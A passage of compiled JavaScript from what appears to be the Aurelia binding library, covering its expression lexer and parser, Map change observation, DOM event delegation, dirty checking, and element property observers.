throw new Error('Lexer Error: ' + message + ' at column ' + position + ' in expression [' + this.input + ']');
};
return Scanner;
}();
var OPERATORS = ['undefined', 'null', 'true', 'false', '+', '-', '*', '/', '%', '^', '=', '==', '===', '!=', '!==', '<', '>', '<=', '>=', '&&', '||', '&', '|', '!', '?'];
var $EOF = 0;
var $TAB = 9;
var $LF = 10;
var $VTAB = 11;
var $FF = 12;
var $CR = 13;
var $SPACE = 32;
var $BANG = 33;
var $DQ = 34;
var $$ = 36;
var $PERCENT = 37;
var $AMPERSAND = 38;
var $SQ = 39;
var $LPAREN = 40;
var $RPAREN = 41;
var $STAR = 42;
var $PLUS = 43;
var $COMMA = 44;
var $MINUS = 45;
var $PERIOD = 46;
var $SLASH = 47;
var $COLON = 58;
var $SEMICOLON = 59;
var $LT = 60;
var $EQ = 61;
var $GT = 62;
var $QUESTION = 63;
var $0 = 48;
var $9 = 57;
var $A = 65;
var $E = 69;
var $Z = 90;
var $LBRACKET = 91;
var $BACKSLASH = 92;
var $RBRACKET = 93;
var $CARET = 94;
var $_ = 95;
var $a = 97;
var $e = 101;
var $f = 102;
var $n = 110;
var $r = 114;
var $t = 116;
var $u = 117;
var $v = 118;
var $z = 122;
var $LBRACE = 123;
var $BAR = 124;
var $RBRACE = 125;
var $NBSP = 160;
function isWhitespace(code) {
return code >= $TAB && code <= $SPACE || code === $NBSP;
}
function isIdentifierStart(code) {
return $a <= code && code <= $z || $A <= code && code <= $Z || code === $_ || code === $$;
}
function isIdentifierPart(code) {
return $a <= code && code <= $z || $A <= code && code <= $Z || $0 <= code && code <= $9 || code === $_ || code === $$;
}
function isDigit(code) {
return $0 <= code && code <= $9;
}
function isExponentStart(code) {
return code === $e || code === $E;
}
function isExponentSign(code) {
return code === $MINUS || code === $PLUS;
}
function unescape(code) {
switch (code) {
case $n:
return $LF;
case $f:
return $FF;
case $r:
return $CR;
case $t:
return $TAB;
case $v:
return $VTAB;
default:
return code;
}
}
function assert(condition, message) {
if (!condition) {
throw message || 'Assertion failed';
}
}
var EOF = new Token(-1, null);
var Parser = exports.Parser = function () {
function Parser() {
this.cache = {};
this.lexer = new Lexer();
}
Parser.prototype.parse = function parse(input) {
input = input || '';
return this.cache[input] || (this.cache[input] = new ParserImplementation(this.lexer, input).parseChain());
};
return Parser;
}();
var ParserImplementation = exports.ParserImplementation = function () {
function ParserImplementation(lexer, input) {
this.index = 0;
this.input = input;
this.tokens = lexer.lex(input);
}
ParserImplementation.prototype.parseChain = function parseChain() {
var isChain = false;
var expressions = [];
while (this.optional(';')) {
isChain = true;
}
while (this.index < this.tokens.length) {
if (this.peek.text === ')' || this.peek.text === '}' || this.peek.text === ']') {
this.error('Unconsumed token ' + this.peek.text);
}
var expr = this.parseBindingBehavior();
expressions.push(expr);
while (this.optional(';')) {
isChain = true;
}
if (isChain) {
this.error('Multiple expressions are not allowed.');
}
}
return expressions.length === 1 ? expressions[0] : new Chain(expressions);
};
ParserImplementation.prototype.parseBindingBehavior = function parseBindingBehavior() {
var result = this.parseValueConverter();
while (this.optional('&')) {
var name = this.peek.text;
var args = [];
this.advance();
while (this.optional(':')) {
args.push(this.parseExpression());
}
result = new BindingBehavior(result, name, args);
}
return result;
};
ParserImplementation.prototype.parseValueConverter = function parseValueConverter() {
var result = this.parseExpression();
while (this.optional('|')) {
var name = this.peek.text;
var args = [];
this.advance();
while (this.optional(':')) {
args.push(this.parseExpression());
}
result = new ValueConverter(result, name, args, [result].concat(args));
}
return result;
};
ParserImplementation.prototype.parseExpression = function parseExpression() {
var start = this.peek.index;
var result = this.parseConditional();
while (this.peek.text === '=') {
if (!result.isAssignable) {
var end = this.index < this.tokens.length ? this.peek.index : this.input.length;
var _expression = this.input.substring(start, end);
this.error('Expression ' + _expression + ' is not assignable');
}
this.expect('=');
result = new Assign(result, this.parseConditional());
}
return result;
};
ParserImplementation.prototype.parseConditional = function parseConditional() {
var start = this.peek.index;
var result = this.parseLogicalOr();
if (this.optional('?')) {
var yes = this.parseExpression();
if (!this.optional(':')) {
var end = this.index < this.tokens.length ? this.peek.index : this.input.length;
var _expression2 = this.input.substring(start, end);
this.error('Conditional expression ' + _expression2 + ' requires all 3 expressions');
}
var no = this.parseExpression();
result = new Conditional(result, yes, no);
}
return result;
};
ParserImplementation.prototype.parseLogicalOr = function parseLogicalOr() {
var result = this.parseLogicalAnd();
while (this.optional('||')) {
result = new Binary('||', result, this.parseLogicalAnd());
}
return result;
};
ParserImplementation.prototype.parseLogicalAnd = function parseLogicalAnd() {
var result = this.parseEquality();
while (this.optional('&&')) {
result = new Binary('&&', result, this.parseEquality());
}
return result;
};
ParserImplementation.prototype.parseEquality = function parseEquality() {
var result = this.parseRelational();
while (true) {
if (this.optional('==')) {
result = new Binary('==', result, this.parseRelational());
} else if (this.optional('!=')) {
result = new Binary('!=', result, this.parseRelational());
} else if (this.optional('===')) {
result = new Binary('===', result, this.parseRelational());
} else if (this.optional('!==')) {
result = new Binary('!==', result, this.parseRelational());
} else {
return result;
}
}
};
ParserImplementation.prototype.parseRelational = function parseRelational() {
var result = this.parseAdditive();
while (true) {
if (this.optional('<')) {
result = new Binary('<', result, this.parseAdditive());
} else if (this.optional('>')) {
result = new Binary('>', result, this.parseAdditive());
} else if (this.optional('<=')) {
result = new Binary('<=', result, this.parseAdditive());
} else if (this.optional('>=')) {
result = new Binary('>=', result, this.parseAdditive());
} else {
return result;
}
}
};
ParserImplementation.prototype.parseAdditive = function parseAdditive() {
var result = this.parseMultiplicative();
while (true) {
if (this.optional('+')) {
result = new Binary('+', result, this.parseMultiplicative());
} else if (this.optional('-')) {
result = new Binary('-', result, this.parseMultiplicative());
} else {
return result;
}
}
};
ParserImplementation.prototype.parseMultiplicative = function parseMultiplicative() {
var result = this.parsePrefix();
while (true) {
if (this.optional('*')) {
result = new Binary('*', result, this.parsePrefix());
} else if (this.optional('%')) {
result = new Binary('%', result, this.parsePrefix());
} else if (this.optional('/')) {
result = new Binary('/', result, this.parsePrefix());
} else {
return result;
}
}
};
ParserImplementation.prototype.parsePrefix = function parsePrefix() {
if (this.optional('+')) {
return this.parsePrefix();
} else if (this.optional('-')) {
return new Binary('-', new LiteralPrimitive(0), this.parsePrefix());
} else if (this.optional('!')) {
return new PrefixNot('!', this.parsePrefix());
}
return this.parseAccessOrCallMember();
};
ParserImplementation.prototype.parseAccessOrCallMember = function parseAccessOrCallMember() {
var result = this.parsePrimary();
while (true) {
if (this.optional('.')) {
var name = this.peek.text;
this.advance();
if (this.optional('(')) {
var args = this.parseExpressionList(')');
this.expect(')');
if (result instanceof AccessThis) {
result = new CallScope(name, args, result.ancestor);
} else {
result = new CallMember(result, name, args);
}
} else {
if (result instanceof AccessThis) {
result = new AccessScope(name, result.ancestor);
} else {
result = new AccessMember(result, name);
}
}
} else if (this.optional('[')) {
var key = this.parseExpression();
this.expect(']');
result = new AccessKeyed(result, key);
} else if (this.optional('(')) {
var _args = this.parseExpressionList(')');
this.expect(')');
result = new CallFunction(result, _args);
} else {
return result;
}
}
};
ParserImplementation.prototype.parsePrimary = function parsePrimary() {
if (this.optional('(')) {
var result = this.parseExpression();
this.expect(')');
return result;
} else if (this.optional('null')) {
return new LiteralPrimitive(null);
} else if (this.optional('undefined')) {
return new LiteralPrimitive(undefined);
} else if (this.optional('true')) {
return new LiteralPrimitive(true);
} else if (this.optional('false')) {
return new LiteralPrimitive(false);
} else if (this.optional('[')) {
var elements = this.parseExpressionList(']');
this.expect(']');
return new LiteralArray(elements);
} else if (this.peek.text === '{') {
return this.parseObject();
} else if (this.peek.key !== null && this.peek.key !== undefined) {
return this.parseAccessOrCallScope();
} else if (this.peek.value !== null && this.peek.value !== undefined) {
var value = this.peek.value;
this.advance();
return value instanceof String || typeof value === 'string' ? new LiteralString(value) : new LiteralPrimitive(value);
} else if (this.index >= this.tokens.length) {
throw new Error('Unexpected end of expression: ' + this.input);
} else {
this.error('Unexpected token ' + this.peek.text);
}
};
ParserImplementation.prototype.parseAccessOrCallScope = function parseAccessOrCallScope() {
var name = this.peek.key;
this.advance();
if (name === '$this') {
return new AccessThis(0);
}
var ancestor = 0;
while (name === '$parent') {
ancestor++;
if (this.optional('.')) {
name = this.peek.key;
this.advance();
} else if (this.peek === EOF || this.peek.text === '(' || this.peek.text === ')' || this.peek.text === '[' || this.peek.text === '}' || this.peek.text === ',') {
return new AccessThis(ancestor);
} else {
this.error('Unexpected token ' + this.peek.text);
}
}
if (this.optional('(')) {
var args = this.parseExpressionList(')');
this.expect(')');
return new CallScope(name, args, ancestor);
}
return new AccessScope(name, ancestor);
};
ParserImplementation.prototype.parseObject = function parseObject() {
var keys = [];
var values = [];
this.expect('{');
if (this.peek.text !== '}') {
do {
var peek = this.peek;
var value = peek.value;
keys.push(typeof value === 'string' ? value : peek.text);
this.advance();
if (peek.key && (this.peek.text === ',' || this.peek.text === '}')) {
--this.index;
values.push(this.parseAccessOrCallScope());
} else {
this.expect(':');
values.push(this.parseExpression());
}
} while (this.optional(','));
}
this.expect('}');
return new LiteralObject(keys, values);
};
ParserImplementation.prototype.parseExpressionList = function parseExpressionList(terminator) {
var result = [];
if (this.peek.text !== terminator) {
do {
result.push(this.parseExpression());
} while (this.optional(','));
}
return result;
};
ParserImplementation.prototype.optional = function optional(text) {
if (this.peek.text === text) {
this.advance();
return true;
}
return false;
};
ParserImplementation.prototype.expect = function expect(text) {
if (this.peek.text === text) {
this.advance();
} else {
this.error('Missing expected ' + text);
}
};
ParserImplementation.prototype.advance = function advance() {
this.index++;
};
ParserImplementation.prototype.error = function error(message) {
var location = this.index < this.tokens.length ? 'at column ' + (this.tokens[this.index].index + 1) + ' in' : 'at the end of the expression';
throw new Error('Parser Error: ' + message + ' ' + location + ' [' + this.input + ']');
};
_createClass(ParserImplementation, [{
key: 'peek',
get: function get() {
return this.index < this.tokens.length ? this.tokens[this.index] : EOF;
}
}]);
return ParserImplementation;
}();
var mapProto = Map.prototype;
function _getMapObserver(taskQueue, map) {
return ModifyMapObserver.for(taskQueue, map);
}
exports.getMapObserver = _getMapObserver;
var ModifyMapObserver = function (_ModifyCollectionObse2) {
_inherits(ModifyMapObserver, _ModifyCollectionObse2);
function ModifyMapObserver(taskQueue, map) {
return _possibleConstructorReturn(this, _ModifyCollectionObse2.call(this, taskQueue, map));
}
ModifyMapObserver.for = function _for(taskQueue, map) {
if (!('__map_observer__' in map)) {
Reflect.defineProperty(map, '__map_observer__', {
value: ModifyMapObserver.create(taskQueue, map),
enumerable: false, configurable: false
});
}
return map.__map_observer__;
};
ModifyMapObserver.create = function create(taskQueue, map) {
var observer = new ModifyMapObserver(taskQueue, map);
var proto = mapProto;
if (proto.set !== map.set || proto.delete !== map.delete || proto.clear !== map.clear) {
proto = {
set: map.set,
delete: map.delete,
clear: map.clear
};
}
map.set = function () {
var hasValue = map.has(arguments[0]);
var type = hasValue ? 'update' : 'add';
var oldValue = map.get(arguments[0]);
var methodCallResult = proto.set.apply(map, arguments);
if (!hasValue || oldValue !== map.get(arguments[0])) {
observer.addChangeRecord({
type: type,
object: map,
key: arguments[0],
oldValue: oldValue
});
}
return methodCallResult;
};
map.delete = function () {
var hasValue = map.has(arguments[0]);
var oldValue = map.get(arguments[0]);
var methodCallResult = proto.delete.apply(map, arguments);
if (hasValue) {
observer.addChangeRecord({
type: 'delete',
object: map,
key: arguments[0],
oldValue: oldValue
});
}
return methodCallResult;
};
map.clear = function () {
var methodCallResult = proto.clear.apply(map, arguments);
observer.addChangeRecord({
type: 'clear',
object: map
});
return methodCallResult;
};
return observer;
};
return ModifyMapObserver;
}(ModifyCollectionObserver);
function findOriginalEventTarget(event) {
return event.path && event.path[0] || event.deepPath && event.deepPath[0] || event.target;
}
function stopPropagation() {
this.standardStopPropagation();
this.propagationStopped = true;
}
function interceptStopPropagation(event) {
event.standardStopPropagation = event.stopPropagation;
event.stopPropagation = stopPropagation;
}
function handleCapturedEvent(event) {
var interceptInstalled = false;
event.propagationStopped = false;
var target = findOriginalEventTarget(event);
var orderedCallbacks = [];
while (target) {
if (target.capturedCallbacks) {
var callback = target.capturedCallbacks[event.type];
if (callback) {
if (!interceptInstalled) {
interceptStopPropagation(event);
interceptInstalled = true;
}
orderedCallbacks.push(callback);
}
}
target = target.parentNode;
}
for (var _i22 = orderedCallbacks.length - 1; _i22 >= 0; _i22--) {
var orderedCallback = orderedCallbacks[_i22];
orderedCallback(event);
if (event.propagationStopped) {
break;
}
}
}
var CapturedHandlerEntry = function () {
function CapturedHandlerEntry(eventName) {
this.eventName = eventName;
this.count = 0;
}
CapturedHandlerEntry.prototype.increment = function increment() {
this.count++;
if (this.count === 1) {
_aureliaPal.DOM.addEventListener(this.eventName, handleCapturedEvent, true);
}
};
CapturedHandlerEntry.prototype.decrement = function decrement() {
this.count--;
if (this.count === 0) {
_aureliaPal.DOM.removeEventListener(this.eventName, handleCapturedEvent, true);
}
};
return CapturedHandlerEntry;
}();
function handleDelegatedEvent(event) {
var interceptInstalled = false;
event.propagationStopped = false;
var target = findOriginalEventTarget(event);
while (target && !event.propagationStopped) {
if (target.delegatedCallbacks) {
var callback = target.delegatedCallbacks[event.type];
if (callback) {
if (!interceptInstalled) {
interceptStopPropagation(event);
interceptInstalled = true;
}
callback(event);
}
}
target = target.parentNode;
}
}
var DelegateHandlerEntry = function () {
function DelegateHandlerEntry(eventName) {
this.eventName = eventName;
this.count = 0;
}
DelegateHandlerEntry.prototype.increment = function increment() {
this.count++;
if (this.count === 1) {
_aureliaPal.DOM.addEventListener(this.eventName, handleDelegatedEvent, false);
}
};
DelegateHandlerEntry.prototype.decrement = function decrement() {
this.count--;
if (this.count === 0) {
_aureliaPal.DOM.removeEventListener(this.eventName, handleDelegatedEvent);
}
};
return DelegateHandlerEntry;
}();
var DefaultEventStrategy = function () {
function DefaultEventStrategy() {
this.delegatedHandlers = {};
this.capturedHandlers = {};
}
DefaultEventStrategy.prototype.subscribe = function subscribe(target, targetEvent, callback, strategy) {
var _this22 = this;
var delegatedHandlers = void 0;
var capturedHandlers = void 0;
var handlerEntry = void 0;
if (strategy === delegationStrategy.bubbling) {
var _ret = function () {
delegatedHandlers = _this22.delegatedHandlers;
handlerEntry = delegatedHandlers[targetEvent] || (delegatedHandlers[targetEvent] = new DelegateHandlerEntry(targetEvent));
var delegatedCallbacks = target.delegatedCallbacks || (target.delegatedCallbacks = {});
handlerEntry.increment();
delegatedCallbacks[targetEvent] = callback;
return {
v: function v() {
handlerEntry.decrement();
delegatedCallbacks[targetEvent] = null;
}
};
}();
if ((typeof _ret === 'undefined' ? 'undefined' : _typeof(_ret)) === "object") return _ret.v;
}
if (strategy === delegationStrategy.capturing) {
var _ret2 = function () {
capturedHandlers = _this22.capturedHandlers;
handlerEntry = capturedHandlers[targetEvent] || (capturedHandlers[targetEvent] = new CapturedHandlerEntry(targetEvent));
var capturedCallbacks = target.capturedCallbacks || (target.capturedCallbacks = {});
handlerEntry.increment();
capturedCallbacks[targetEvent] = callback;
return {
v: function v() {
handlerEntry.decrement();
capturedCallbacks[targetEvent] = null;
}
};
}();
if ((typeof _ret2 === 'undefined' ? 'undefined' : _typeof(_ret2)) === "object") return _ret2.v;
}
target.addEventListener(targetEvent, callback, false);
return function () {
target.removeEventListener(targetEvent, callback);
};
};
return DefaultEventStrategy;
}();
var delegationStrategy = exports.delegationStrategy = {
none: 0,
capturing: 1,
bubbling: 2
};
var EventManager = exports.EventManager = function () {
function EventManager() {
this.elementHandlerLookup = {};
this.eventStrategyLookup = {};
this.registerElementConfig({
tagName: 'input',
properties: {
value: ['change', 'input'],
checked: ['change', 'input'],
files: ['change', 'input']
}
});
this.registerElementConfig({
tagName: 'textarea',
properties: {
value: ['change', 'input']
}
});
this.registerElementConfig({
tagName: 'select',
properties: {
value: ['change']
}
});
this.registerElementConfig({
tagName: 'content editable',
properties: {
value: ['change', 'input', 'blur', 'keyup', 'paste']
}
});
this.registerElementConfig({
tagName: 'scrollable element',
properties: {
scrollTop: ['scroll'],
scrollLeft: ['scroll']
}
});
this.defaultEventStrategy = new DefaultEventStrategy();
}
EventManager.prototype.registerElementConfig = function registerElementConfig(config) {
var tagName = config.tagName.toLowerCase();
var properties = config.properties;
var propertyName = void 0;
this.elementHandlerLookup[tagName] = {};
for (propertyName in properties) {
if (properties.hasOwnProperty(propertyName)) {
this.registerElementPropertyConfig(tagName, propertyName, properties[propertyName]);
}
}
};
EventManager.prototype.registerElementPropertyConfig = function registerElementPropertyConfig(tagName, propertyName, events) {
this.elementHandlerLookup[tagName][propertyName] = this.createElementHandler(events);
};
EventManager.prototype.createElementHandler = function createElementHandler(events) {
return {
subscribe: function subscribe(target, callback) {
events.forEach(function (changeEvent) {
target.addEventListener(changeEvent, callback, false);
});
return function () {
events.forEach(function (changeEvent) {
target.removeEventListener(changeEvent, callback);
});
};
}
};
};
EventManager.prototype.registerElementHandler = function registerElementHandler(tagName, handler) {
this.elementHandlerLookup[tagName.toLowerCase()] = handler;
};
EventManager.prototype.registerEventStrategy = function registerEventStrategy(eventName, strategy) {
this.eventStrategyLookup[eventName] = strategy;
};
EventManager.prototype.getElementHandler = function getElementHandler(target, propertyName) {
var tagName = void 0;
var lookup = this.elementHandlerLookup;
if (target.tagName) {
tagName = target.tagName.toLowerCase();
if (lookup[tagName] && lookup[tagName][propertyName]) {
return lookup[tagName][propertyName];
}
if (propertyName === 'textContent' || propertyName === 'innerHTML') {
return lookup['content editable'].value;
}
if (propertyName === 'scrollTop' || propertyName === 'scrollLeft') {
return lookup['scrollable element'][propertyName];
}
}
return null;
};
EventManager.prototype.addEventListener = function addEventListener(target, targetEvent, callback, delegate) {
return (this.eventStrategyLookup[targetEvent] || this.defaultEventStrategy).subscribe(target, targetEvent, callback, delegate);
};
return EventManager;
}();
var DirtyChecker = exports.DirtyChecker = function () {
function DirtyChecker() {
this.tracked = [];
this.checkDelay = 120;
}
DirtyChecker.prototype.addProperty = function addProperty(property) {
var tracked = this.tracked;
tracked.push(property);
if (tracked.length === 1) {
this.scheduleDirtyCheck();
}
};
DirtyChecker.prototype.removeProperty = function removeProperty(property) {
var tracked = this.tracked;
tracked.splice(tracked.indexOf(property), 1);
};
DirtyChecker.prototype.scheduleDirtyCheck = function scheduleDirtyCheck() {
var _this23 = this;
setTimeout(function () {
return _this23.check();
}, this.checkDelay);
};
DirtyChecker.prototype.check = function check() {
var tracked = this.tracked;
var i = tracked.length;
while (i--) {
var current = tracked[i];
if (current.isDirty()) {
current.call();
}
}
if (tracked.length) {
this.scheduleDirtyCheck();
}
};
return DirtyChecker;
}();
var DirtyCheckProperty = exports.DirtyCheckProperty = (_dec5 = subscriberCollection(), _dec5(_class5 = function () {
function DirtyCheckProperty(dirtyChecker, obj, propertyName) {
this.dirtyChecker = dirtyChecker;
this.obj = obj;
this.propertyName = propertyName;
}
DirtyCheckProperty.prototype.getValue = function getValue() {
return this.obj[this.propertyName];
};
DirtyCheckProperty.prototype.setValue = function setValue(newValue) {
this.obj[this.propertyName] = newValue;
};
DirtyCheckProperty.prototype.call = function call() {
var oldValue = this.oldValue;
var newValue = this.getValue();
this.callSubscribers(newValue, oldValue);
this.oldValue = newValue;
};
DirtyCheckProperty.prototype.isDirty = function isDirty() {
return this.oldValue !== this.obj[this.propertyName];
};
DirtyCheckProperty.prototype.subscribe = function subscribe(context, callable) {
if (!this.hasSubscribers()) {
this.oldValue = this.getValue();
this.dirtyChecker.addProperty(this);
}
this.addSubscriber(context, callable);
};
DirtyCheckProperty.prototype.unsubscribe = function unsubscribe(context, callable) {
if (this.removeSubscriber(context, callable) && !this.hasSubscribers()) {
this.dirtyChecker.removeProperty(this);
}
};
return DirtyCheckProperty;
}()) || _class5);
var logger = LogManager.getLogger('property-observation');
var propertyAccessor = exports.propertyAccessor = {
getValue: function getValue(obj, propertyName) {
return obj[propertyName];
},
setValue: function setValue(value, obj, propertyName) {
obj[propertyName] = value;
}
};
var PrimitiveObserver = exports.PrimitiveObserver = function () {
function PrimitiveObserver(primitive, propertyName) {
this.doNotCache = true;
this.primitive = primitive;
this.propertyName = propertyName;
}
PrimitiveObserver.prototype.getValue = function getValue() {
return this.primitive[this.propertyName];
};
PrimitiveObserver.prototype.setValue = function setValue() {
var type = _typeof(this.primitive);
throw new Error('The ' + this.propertyName + ' property of a ' + type + ' (' + this.primitive + ') cannot be assigned.');
};
PrimitiveObserver.prototype.subscribe = function subscribe() {};
PrimitiveObserver.prototype.unsubscribe = function unsubscribe() {};
return PrimitiveObserver;
}();
var SetterObserver = exports.SetterObserver = (_dec6 = subscriberCollection(), _dec6(_class7 = function () {
function SetterObserver(taskQueue, obj, propertyName) {
this.taskQueue = taskQueue;
this.obj = obj;
this.propertyName = propertyName;
this.queued = false;
this.observing = false;
}
SetterObserver.prototype.getValue = function getValue() {
return this.obj[this.propertyName];
};
SetterObserver.prototype.setValue = function setValue(newValue) {
this.obj[this.propertyName] = newValue;
};
SetterObserver.prototype.getterValue = function getterValue() {
return this.currentValue;
};
SetterObserver.prototype.setterValue = function setterValue(newValue) {
var oldValue = this.currentValue;
if (oldValue !== newValue) {
if (!this.queued) {
this.oldValue = oldValue;
this.queued = true;
this.taskQueue.queueMicroTask(this);
}
this.currentValue = newValue;
}
};
SetterObserver.prototype.call = function call() {
var oldValue = this.oldValue;
var newValue = this.currentValue;
this.queued = false;
this.callSubscribers(newValue, oldValue);
};
SetterObserver.prototype.subscribe = function subscribe(context, callable) {
if (!this.observing) {
this.convertProperty();
}
this.addSubscriber(context, callable);
};
SetterObserver.prototype.unsubscribe = function unsubscribe(context, callable) {
this.removeSubscriber(context, callable);
};
SetterObserver.prototype.convertProperty = function convertProperty() {
this.observing = true;
this.currentValue = this.obj[this.propertyName];
this.setValue = this.setterValue;
this.getValue = this.getterValue;
if (!Reflect.defineProperty(this.obj, this.propertyName, {
configurable: true,
enumerable: this.propertyName in this.obj ? this.obj.propertyIsEnumerable(this.propertyName) : true,
get: this.getValue.bind(this),
set: this.setValue.bind(this)
})) {
logger.warn('Cannot observe property \'' + this.propertyName + '\' of object', this.obj);
}
};
return SetterObserver;
}()) || _class7);
var XLinkAttributeObserver = exports.XLinkAttributeObserver = function () {
function XLinkAttributeObserver(element, propertyName, attributeName) {
this.element = element;
this.propertyName = propertyName;
this.attributeName = attributeName;
}
XLinkAttributeObserver.prototype.getValue = function getValue() {
return this.element.getAttributeNS('http://www.w3.org/1999/xlink', this.attributeName);
};
XLinkAttributeObserver.prototype.setValue = function setValue(newValue) {
return this.element.setAttributeNS('http://www.w3.org/1999/xlink', this.attributeName, newValue);
};
XLinkAttributeObserver.prototype.subscribe = function subscribe() {
throw new Error('Observation of a "' + this.element.nodeName + '" element\'s "' + this.propertyName + '" property is not supported.');
};
return XLinkAttributeObserver;
}();
var dataAttributeAccessor = exports.dataAttributeAccessor = {
getValue: function getValue(obj, propertyName) {
return obj.getAttribute(propertyName);
},
setValue: function setValue(value, obj, propertyName) {
return obj.setAttribute(propertyName, value);
}
};
var DataAttributeObserver = exports.DataAttributeObserver = function () {
function DataAttributeObserver(element, propertyName) {
this.element = element;
this.propertyName = propertyName;
}
DataAttributeObserver.prototype.getValue = function getValue() {
return this.element.getAttribute(this.propertyName);
};
DataAttributeObserver.prototype.setValue = function setValue(newValue) {
return this.element.setAttribute(this.propertyName, newValue);
};
DataAttributeObserver.prototype.subscribe = function subscribe() {
throw new Error('Observation of a "' + this.element.nodeName + '" element\'s "' + this.propertyName + '" property is not supported.');
};
return DataAttributeObserver;
}();
var StyleObserver = exports.StyleObserver = function () {
function StyleObserver(element, propertyName) {
this.element = element;
this.propertyName = propertyName;
this.styles = null;
this.version = 0;
}
StyleObserver.prototype.getValue = function getValue() {
return this.element.style.cssText;
};
StyleObserver.prototype._setProperty = function _setProperty(style, value) {
var priority = '';
if (value !== null && value !== undefined && typeof value.indexOf === 'function' && value.indexOf('!important') !== -1) {
priority = 'important';
value = value.replace('!important', '');
}
this.element.style.setProperty(style, value, priority);
};
StyleObserver.prototype.setValue = function setValue(newValue) {
var styles = this.styles || {};
var style = void 0;
var version = this.version;
if (newValue !== null && newValue !== undefined) {
if (newValue instanceof Object) {
var value = void 0;
for (style in newValue) {
if (newValue.hasOwnProperty(style)) {
value = newValue[style];
style = style.replace(/([A-Z])/g, function (m) {
return '-' + m.toLowerCase();
});
styles[style] = version;
this._setProperty(style, value);
}
}
} else if (newValue.length) {
var rx = /\s*([\w\-]+)\s*:\s*((?:(?:[\w\-]+\(\s*(?:"(?:\\"|[^"])*"|'(?:\\'|[^'])*'|[\w\-]+\(\s*(?:^"(?:\\"|[^"])*"|'(?:\\'|[^'])*'|[^\)]*)\),?|[^\)]*)\),?|"(?:\\"|[^"])*"|'(?:\\'|[^'])*'|[^;]*),?\s*)+);?/g;
var pair = void 0;
while ((pair = rx.exec(newValue)) !== null) {
style = pair[1];
if (!style) {
continue;
}
styles[style] = version;
this._setProperty(style, pair[2]);
}
}
}
this.styles = styles;
this.version += 1;
if (version === 0) {
return;
}
version -= 1;
for (style in styles) {
if (!styles.hasOwnProperty(style) || styles[style] !== version) {
continue;
}
this.element.style.removeProperty(style);
}
};
StyleObserver.prototype.subscribe = function subscribe() {
throw new Error('Observation of a "' + this.element.nodeName + '" element\'s "' + this.propertyName + '" property is not supported.');
};
return StyleObserver;
}();
var ValueAttributeObserver = exports.ValueAttributeObserver = (_dec7 = subscriberCollection(), _dec7(_class8 = function () {
function ValueAttributeObserver(element, propertyName, handler) {
this.element = element;
this.propertyName = propertyName;
this.handler = handler;
if (propertyName === 'files') {
this.setValue = function () {};
}
}
ValueAttributeObserver.prototype.getValue = function getValue() {
return this.element[this.propertyName];
};
ValueAttributeObserver.prototype.setValue = function setValue(newValue) {
newValue = newValue === undefined || newValue === null ? '' : newValue;
if (this.element[this.propertyName] !== newValue) {
this.element[this.propertyName] = newValue;
this.notify();
}
};
ValueAttributeObserver.prototype.notify = function notify() {
var oldValue = this.oldValue;
var newValue = this.getValue();
this.callSubscribers(newValue, oldValue);
this.oldValue = newValue;
};
ValueAttributeObserver.prototype.subscribe = function subscribe(context, callable) {
if (!this.hasSubscribers()) {
this.oldValue = this.getValue();
this.disposeHandler = this.handler.subscribe(this.element, this.notify.bind(this));
}
this.addSubscriber(context, callable);
};
ValueAttributeObserver.prototype.unsubscribe = function unsubscribe(context, callable) {
if (this.removeSubscriber(context, callable) && !this.hasSubscribers()) {
this.disposeHandler();
this.disposeHandler = null;
}
};
return ValueAttributeObserver;
}()) || _class8);
var checkedArrayContext = 'CheckedObserver:array';
var checkedValueContext = 'CheckedObserver:value';
var CheckedObserver = exports.CheckedObserver = (_dec8 = subscriberCollection(), _dec8(_class9 = function () {
function CheckedObserver(element, handler, observerLocator) {
this.element = element;
this.handler = handler;
this.observerLocator = observerLocator;
}
CheckedObserver.prototype.getValue = function getValue() {
return this.value;
};
CheckedObserver.prototype.setValue = function setValue(newValue) {
if (this.initialSync && this.value === newValue) {
return;
}
if (this.arrayObserver) {
this.arrayObserver.unsubscribe(checkedArrayContext, this);
this.arrayObserver = null;
}
if (this.element.type === 'checkbox' && Array.isArray(newValue)) {
this.arrayObserver = this.observerLocator.getArrayObserver(newValue);
this.arrayObserver.subscribe(checkedArrayContext, this);
}
this.oldValue = this.value;
this.value = newValue;
this.synchronizeElement();
this.notify();
if (!this.initialSync) {
this.initialSync = true;
this.observerLocator.taskQueue.queueMicroTask(this);
}
};
CheckedObserver.prototype.call = function call(context, splices) {
this.synchronizeElement();
if (!this.valueObserver) {
this.valueObserver = this.element.__observers__.model || this.element.__observers__.value;
if (this.valueObserver) {
this.valueObserver.subscribe(checkedValueContext, this);
}
}
};
CheckedObserver.prototype.synchronizeElement = function synchronizeElement() {
var value = this.value;
var element = this.element;
var elementValue = element.hasOwnProperty('model') ? element.model : element.value;
var isRadio = element.type === 'radio';
var matcher = element.matcher || function (a, b) {
return a === b;
};
element.checked = isRadio && !!matcher(value, elementValue) || !isRadio && value === true || !isRadio && Array.isArray(value) && value.findIndex(function (item) {
return !!matcher(item, elementValue);
}) !== -1;
};
CheckedObserver.prototype.synchronizeValue = function synchronizeValue() {
var value = this.value;
var element = this.element;
var elementValue = element.hasOwnProperty('model') ? element.model : element.value;
var index = void 0;
var matcher = element.matcher || function (a, b) {
return a === b;
};
if (element.type === 'checkbox') {
if (Array.isArray(value)) {
index = value.findIndex(function (item) {
return !!matcher(item, elementValue);
});
if (element.checked && index === -1) {
value.push(elementValue);
} else if (!element.checked && index !== -1) {
value.splice(index, 1);
}
return;
}
value = element.checked;
} else if (element.checked) {
value = elementValue;
} else {
return;
}
this.oldValue = this.value;
this.value = value;
this.notify();
};
CheckedObserver.prototype.notify = function notify() {
var oldValue = this.oldValue;
var newValue = this.value;
if (newValue === oldValue) {
return;
}
this.callSubscribers(newValue, oldValue);
};
CheckedObserver.prototype.subscribe = function subscribe(context, callable) {
if (!this.hasSubscribers()) {
this.disposeHandler = this.handler.subscribe(this.element, this.synchronizeValue.bind(this, false));
}
this.addSubscriber(context, callable);
};
CheckedObserver.prototype.unsubscribe = function unsubscribe(context, callable) {
if (this.removeSubscriber(context, callable) && !this.hasSubscribers()) {
this.disposeHandler();
this.disposeHandler = null;
}
};
CheckedObserver.prototype.unbind = function unbind() {
if (this.arrayObserver) {
this.arrayObserver.unsubscribe(checkedArrayContext, this);
this.arrayObserver = null;
}
if (this.valueObserver) {
this.valueObserver.unsubscribe(checkedValueContext, this);
}
};
return CheckedObserver;
}()) || _class9);
var selectArrayContext = 'SelectValueObserver:array';
var SelectValueObserver = exports.SelectValueObserver = (_dec9 = subscriberCollection(), _dec9(_class10 = function () {
function SelectValueObserver(element, handler, observerLocator) {
this.element = element;
